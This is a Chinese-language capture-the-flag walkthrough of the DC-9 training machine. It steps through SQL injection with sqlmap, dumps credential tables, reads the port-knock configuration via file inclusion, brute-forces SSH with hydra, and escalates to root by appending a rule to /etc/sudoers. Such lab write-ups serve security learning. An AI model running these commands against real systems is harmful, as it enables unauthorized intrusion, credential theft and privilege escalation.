目录
前期准备
攻击机: kali windows11
靶机: DC-9(调至NAT模式)
一、渗透过程
1.IP地址查询
┌──(root㉿kali)-[/var/www/html]
└─# arp-scan -l
通过比对MAC地址,得到靶机的IP地址为: 192.168.105.169
2.端口信息查询
┌──(root㉿kali)-[/var/www/html]
└─# nmap -sV -p- 192.168.105.169
得到22端口以及80端口,但这里有一个不同的点
这里显示22端口处于 filtered状态
“filtered” 表示端口处于被过滤状态。这意味着扫描工具无法确定该端口是开放还是关闭,因为中间设备(如防火墙、入侵检测系统(IDS)、入侵防御系统(IPS)等)对扫描流量进行了过滤,阻止了扫描数据包到达目标端口,或者阻止了目标端口的响应数据包返回给扫描者。
这个22端口之后可能需要我们去打开,先访问80端口
3.网页功能查询
没出现大型cms,看来功能点需要自己去找,主要就是这两个功能点
Manage是登录的页面,应该是之后得到了账号密码再用的,先看看这个Search,简单搜一下Display页面人的名字
发现显示了Display一样的内容,直接尝试sql注入
SQL注入
1' or 1=1 #
发现应该是能够注入的,直接交给sqlmap,但是这里抓包看到了
是results.php中的search参数,所以命令应该是下面这样的
(1)爆数据库
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' --dbs
直接尝试users数据库
(2)爆表名
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users --tables
得到唯一一个表: UserDetails
(3)爆字段名
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails --columns
(4)爆值
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump
+-----------+---------------+
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
+-----------+---------------+
这么多账号密码,结果一个有用的都没有。。。应该是进错数据库了,尝试重复尝试之前的staff数据库
┌──(root㉿kali)-[~/dc-9]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump
此外,在输入这条命令后会有选项问你是否需要对hash值进行爆破,这里先不爆破,导出来先
+----------------------------------+----------+
| Password | Username |
+----------------------------------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+----------------------------------+----------+
成功得到admin和密码 ,密码看起来像md5加密的,用网页工具先爆破试试
856f5de590ef37314e7c3bdf6f8a66dc
额,网页爆破工具要钱。。。只好全交给sqlmap了
也是成功解出来了 : transorbital1 直接登录!
找个能弹shell的地方或者能打开22端口的地方
发现只有在我点击进入Manage的时候,后面才会有这两个按钮Add 和 Log Out
果然是文件包含,看看如何利用?我想看看日志文件,但发现此时无法读取。然后发现其他师傅提供了一个目录:/proc/sched_debug
/proc/sched_debug
提供了系统中各个 CPU 调度域(scheduling domains)、调度组(scheduling groups)以及任务调度的详细信息。
此时将得到的信息复制复制下来,保存到文件中(要对其进行筛选了)
┌──(root㉿kali)-[~/dc-9]
└─# vim tmp.txt
使用 sort 排序,再使用uniq去个同,然后看到了这个进程
knockd
是一个在 Linux 系统上实现端口敲门(Port Knocking)功能的守护进程,端口敲门是一种安全技术,通过按特定顺序访问(“敲门”)一系列预定义的端口,来临时打开系统上原本被防火墙阻止的特定端口,从而提供对服务的访问。
knockd
进程负责监听这些敲门序列,并根据配置文件的规则来动态修改防火墙规则。
看看knockd的配置
发现需要依次敲击这三个端口: 7469 8475 9842,使用Knock命令
┌──(root㉿kali)-[~]
└─# knock 192.168.105.169 7469 8475 9842
此时再看看22端口的状态
发现已经打开了,此时admin账号估计是登不上去了,但之前得的一大堆账号说不定能登,直接使用SSH爆破,先保存到不同的文件
┌──(root㉿kali)-[~/dc-9]
└─# hydra -L users.txt -P passwords.txt ssh://192.168.105.169
得到能进行SSH登录的账号密码有三对
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
先登第一个用户chandlerb 看看信息,发现其家目录下没什么文件,再找找他有没有什么提权文件,
发现都没有,joeyt用户也是如此,到了janitor用户发现了些东西(通过 ls -al 看隐藏文件)
janitor用户
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 Feb 18 00:22 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Feb 18 00:22 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
看到这里的 secrets-for-putin ,进去看看有什么东西,发现有个txt文件,里面好像存的是一些密码
janitor@dc-9:~$ cd .secrets-for-putin
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
再此基础上,我们知道通过上面得到的账户,没看到任何的提权信息,而现在又得到了一些密码,说不定还是让我们进行ssh爆破的,将密码保存下来,继续进行ssh爆破
直接看到了新的账号和密码
fredf B4-Tru3-001
┌──(root㉿kali)-[~]
└─# ssh fredf@192.168.105.169
fredf@192.168.105.169's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fredf@dc-9:~$
提权
成功登录!看看能不能提权
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
成功发现提权文件!进到这个目录看一下,发现已经编译好的test执行文件,顺着去找一下编译文件(看看逻辑)
fredf@dc-9:/opt/devstuff$ ls
build dist __pycache__ test.py test.spec
看到这里有test.py文件,应该就是编译文件了
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
逻辑是这样的:
先读取第一个参数文件的内容,再将其追加到第二个参数文件中
那可不可以先写一段能提权的代码,再将其加到提权文件中呢?对于root用户而言,有一个
/etc/sudoers ,类似这样
如果能将fredf这个用户也拥有sudo权限的话,就是把 fredf ALL=(ALL:ALL) ALL 写入/etc/sudoers
那我们首先就得准备一个文本文件,这里假设是test.txt(写文件需要返回家目录,不然权限不够)
fredf@dc-9:~$ nano test.txt
fredf@dc-9:~$ cat test.txt
fredf ALL=(ALL:ALL) ALL
再利用我们找到的test执行文件
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test test.txt /etc/sudoers
fredf@dc-9:~$ sudo su
[sudo] password for fredf:
root@dc-9:/home/fredf#
成功提权到root!
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
二、总结
DC-9靶机对我来说难度还是很大,整篇有很多是参考着各位师傅的wp进行的。这里我再消化一下接触到的知识:
(1)端口的filtered过滤状态
(2)knockd敲门进程
(3)/proc/sched_debug 目录文件
这里提权用的是已经编译好的执行程序,如果找不到编译文件怎么办?虽然说不一定只有这一条路,但需要学习的知识还有很多。DC靶机到这里就全结束了,花的时间有些长,也学到了不少东西,对于渗透测试的过程更清晰了些,这段也是对自己成长的见证了^-^